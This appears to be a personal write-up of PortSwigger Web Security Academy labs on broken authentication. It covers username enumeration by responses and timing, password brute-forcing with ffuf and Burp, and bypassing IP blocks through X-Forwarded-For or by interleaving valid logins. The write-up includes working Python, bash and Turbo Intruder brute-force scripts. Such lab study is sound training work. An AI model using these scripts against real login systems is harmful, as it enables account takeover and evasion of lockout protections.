Intro
This post/writeup is all about the Authentication vulnerabilities or Broken Authentication if we follow OWASP naming scheme.
I’ll be using primarily Portswigger Web Academy Labs, but i do intent do throw other labs and writeups here as well.
Theory
For successful authentication (considering we’re not dealing with MFA) we need an username and password. Password usually has to be guessed or brute-forced however username may sometimes be enumerated as well. This may be possible while observing:
- Status Codes
- Error Messages (in response)
- Response Times (if application does SQL check for username and password sequentially)
TOC
- Intro
- Theory
- Username enumeration via different responses
- Username enumeration via subtly different responses
- Username enumeration via response timing
- Broken brute-force protection, IP block
- Username enumeration via account lock
- Broken brute-force protection, multiple credentials per request
Username enumeration via different responses
This lab is vulnerable to username enumeration and password brute-force attacks. It has an account with a predictable username and password, which can be found in the following wordlists: Candidate usernames Candidate passwords To solve the lab, enumerate a valid username, brute-force this user’s password, then access their account page.
Enumeration
We can see the webpage’s login:
Application throws an error Invalid Username
Username Bruteforcing with Burp Intruder
Let’s paste the Candidate usernames into Burp’s Intruder:
We’ve found the user, which is user
.
Let’s bruteforce the password with ffuf
Password Bruteforcing with ffuf
1
ffuf -w portswigger_passwords:FUZZ_PASS -u "https://0a3e005e03bf0fbac09413a80059004c.web-security-academy.net/login" -d "username=user&password=FUZZ_PASS" --fs 3098
Mind that --fs 3098
was added to filter out the requests which return invalid password
. They all have same response size.
Both, username and password have been retrieved. Labb has been solved.
Username enumeration via subtly different responses
This lab is subtly vulnerable to username enumeration and password brute-force attacks. It has an account with a predictable username and password, which can be found in the following wordlists:
To solve the lab, enumerate a valid username, brute-force this user’s password, then access their account page.
This lab can be bruteforced with just trying every username or password, however we’re supposed to pay attention to subtly different responses.
Username brute-force using Intruder and Grep - Extract
Let’s add Grep - Export
.
As soon as we highlight Invalid username or password
, parameters will be set automaticaly. Just apply that, set the same username list from portswigger and run the Intruder:
One request is slightly different - Username: alerts
Password brute-force using Intruder and Grep - Extract
Let’s do the same with the password. Remember to change the password list! Grep - Extract
can stay the same.
We can notice that 11111111
gave us different response and HTTP 302
:
Lab has been solved
Username enumeration via response timing
This lab is vulnerable to username enumeration using its response times. To solve the lab, enumerate a valid username, brute-force this user’s password, then access their account page.
Your credentials: wiener:peter
Here we’ve got an account, so we can measure how long does a query need for existing account and for a non-existing.
Measuring response for existing and non-existing accounts with Burp Repeater
We have around 10ms difference. Let’s try with the wordlist but watchout:
Error: You have made too many incorrect login attempts. Please try again in 30 minute(s).
We have to take care of the IP-Block, which we can bypass using X-Forwarded-For
header. We’d use Pitchfork mode for that, so IP and Username change with every cycle!
We can see that with access
the difference is even greater, we should however always double-check! ;)
Brute-Force password
Assuming the username really is access
let’s brute-force password.
Again with using Pitchfork mode and cycling the IPs in X-Forwarded-For
So there it is, a sunshine
;).
This is the problem that i’ve had. I’ll just intercept the request and add some random IP when authenticating as access:sunshine
Lab has been solved:
Broken brute-force protection, IP block
This lab is vulnerable due to a logic flaw in its password brute-force protection. To solve the lab, brute-force the victim’s password, then log in and access their account page. Your credentials: wiener:peter
Victim’s username: carlos
Intro
This would be the second Lab now where we have to bypass the IP block for brute-forcing. Let us get to it. We have a victim carlos
and we have working credentials
Trying simple password brute-force
On the 4th try we get a message that we have to wait a minute before trying again.
Spoiler Alert: X-Forwarded-For
does not help here.
What however works is:
- 1st request = Brute-force password for
carlos
- 2nd request = Brute-force password for
carlos
- 3rd request = Login with
wiener:peter
which resets the counter - …repeat
My ideas here were create a wordlist for username and password where at every 3rd try is come wiener:peter
credentials.
Solution #1 - Brute-force using python requests
In python this is relatively easily scriptable by using 2 for loop cycles.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import requests
import sys
requests.urllib3.disable_warnings()
def bruteforce(target, cycles, password_list, username, working_credz):
for password in password_list:
if ":" in password:
credentials_split = password.split(":")
password = credentials_split[1]
username = credentials_split[0]
else:
username=username
password=password
session = requests.Session()
session.verify = False
headers = {"Content-Type": "application/x-www-form-urlencoded"}
data = {"username":username, "password":password}
s = requests.post(target, data=data, headers=headers)
if username not in working_credz:
print("(+) tried %s:%s; Content-Length: %s" %(username,password,s.headers['Content-length']))
#print(s.headers)
#print(r.text)
return 0
def main():
if len(sys.argv) != 6:
print("(!) usage: %s <target> <wordlist> <cycles> <working_credentials> <username>" % sys.argv[0])
print("(!) eg: %s https://target.tld/login ./passwords 2 'user:pass' username" % sys.argv[0])
sys.exit(-1)
target = str(sys.argv[1])
wordlist = str(sys.argv[2])
cycles = int(sys.argv[3])
working_credz = str(sys.argv[4])
username = str(sys.argv[5])
print("(+) Target: %s; Wordlist: %s; Cycles before using working credentials: %s; Working Credentials: '%s'; Bruteforcing user: %s" % (target,wordlist,cycles,working_credz,username))
with open(wordlist) as f:
passwords = [line.rstrip() for line in f]
# List needs to be initialy set and should be reset every 3rd turn, but this will be done in for loop
password_list=[]
for password in passwords:
password_list.append(password)
if len(password_list) == 2:
password_list.append(working_credz)
#print("(+) Batch: %s" %(password_list))
bruteforce_session = bruteforce(target, cycles, password_list, username, working_credz)
password_list=[]
else:
continue
print("\n(+) All passwords have been checked!")
if __name__ == "__main__":
main()
Lab has been solved:
Solution #2 - Using Burp Intruder with customized username and password lists.
This may be easier and faster as we only need to modify scripts in a ways that wiener:peter
appear after 2nd brute-force attempt. Something like
- carlos:123456
- carlos:123457
- wiener:peter
- carlos:234567
- carlos:234568
- wiener:peter
- etc.
This can be also done using python or bash, by reading file line by line and injecting on 3rd iteration. Mind that in the IF statement, we either output carlos
or the actual entry in the username/password table.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/bin/bash
# there are no built in checks. Run as following:
# ./custom_wordlist_inject.sh ./portswigger_usernames wiener 3
# ./custom_wordlist_inject.sh <wordlist> <either pass or username that we want to inject> <declare on how many cycles injected string should appear>
bruteforce_list=$1
injection_on=$2
declare -i cycles=$3
declare -i i=0
while read -r line
do
i=$i+1
if (($i<$cycles))
then
#for usernames only carlos should show as this is the user that is being brute-forced!. Reading the wordlist isn't really necessary for usernames but i'll let it be. Either commend out this line:
echo $line
# or this line
#echo "carlos"
else
echo $injection_on
i=0
fi
done < $bruteforce_list
Result:
We can see that on every 3rd iteration, login should theoreticaly succed. Script above can be piped into file to save it on disk!.
We can throw both lists to Burp Intruder now and use Pitchfork
mode.
Modify the Resource pool
to 1
or we’ll get blocked
… and bruteforce
We’ve got the password = mom
. (yes password changes everytime the lab restarts ;)).
Solution #3 - Brute-force using Burp Turbo Intruder
Simple Burp’s Intruder does not have any scripting possiblilties, but Burp’s Turbo Intruder does. After installing and enabling it, we just need to select our POST request and choose Turbo Intruder through right mouse click and going into Extensions.
This is how i’ve set it up:
Script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# Find more example scripts at https://github.com/PortSwigger/turbo-intruder/blob/master/resources/examples/default.py
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=1,
pipeline=False
)
i = 0
for word in open('/Users/lukaosojnik/Downloads/pw'):
i = i + 1
if i < 2:
# do one free run
engine.queue(target.req, ["carlos", word.rstrip()])
elif i == 2:
# do one extra run and reset with valid credentials
engine.queue(target.req, ["carlos", word.rstrip()])
engine.queue(target.req, ["wiener", "peter"])
i = 0
else:
break
def handleResponse(req, interesting):
if interesting:
table.add(req)
It would also be possible to use @MatchStatus(302)
, which would only display responses with status code 302.
Reference: https://portswigger.net/research/turbo-intruder-embracing-the-billion-request-attack
Username enumeration via account lock
This lab was done by ffuf
. I used head -n 10
command on the password list to make a list with 10 passwords. This list was looped through all usernames.
User adam
stood out, so it was brute-forced again using whole password list.
1
ffuf -w portswigger_passwords:FUZZ_PW -H "Content-Type: application/x-www-form-urlencoded" -u "https://0a58009d041cd3f7c0ae1c7f007000a9.web-security-academy.net/login" -d "username=adam&password=FUZZ_PW" --fs 3049 --fs 3101 -x http://127.0.0.1:8080
Obviously there is a difference if password maches. Below the comparisson using Burp Comparer:
Most probable password dragon
has been found and Lab has been solved
Broken brute-force protection, multiple credentials per request
This lab is vulnerable due to a logic flaw in its brute-force protection. To solve the lab, brute-force Carlos’s password, then access his account page Victim’s username: carlos Candidate passwords
If web applications login mechanismus is broken and lets you authenticate using multiple passwords as one then that’s definately a security issue. This is exactle what the application in the lab is doing. Let’s check it out.
When testing login, we can notice that now we’re dealing with JSON. Let’s try to include multiple passwords in the same Repeater request.
Apparently we’ve succeded but we don’t know what the password is, but if we open the session in browser we see that we’ve succesfully finished the lab and that we’re login.